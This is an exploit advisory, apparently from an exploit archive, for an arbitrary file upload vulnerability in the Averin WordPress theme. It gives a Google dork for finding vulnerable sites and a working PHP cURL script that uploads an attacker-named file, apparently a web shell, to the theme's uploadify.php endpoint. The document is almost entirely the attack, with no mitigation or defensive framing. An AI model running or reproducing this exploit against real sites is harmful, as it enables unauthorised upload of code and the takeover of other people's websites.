Wordpress Averin Themes Arbitrary File Upload

#Title : Wordpress Averin Themes Arbitrary File Upload

#Author : DevilScreaM

#Vendor : http://themeforest.net/

#Link : http://themeforest.net/item/averin-premi...eme/388778

#Vulnerabillity : Arbitrary File Upload

#Dork : inurl:wp-content/themes/averin/

Exploit and Script :

 <?php  
 $uploadfile="devilscream.php";  
 $ch = curl_init("http://site-target/wp-content/themes/averin/js/uploadify/uploadify.php");  
 curl_setopt($ch, CURLOPT_POST, true);  
 curl_setopt($ch, CURLOPT_POSTFIELDS,  
        array('Filedata'=>"@$uploadfile",  
        'folder'=>'/wp-content/themes/averin/js/uploadify/'));  
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  
 $postResult = curl_exec($ch);  
 curl_close($ch);  
 print "$postResult";  
 ?>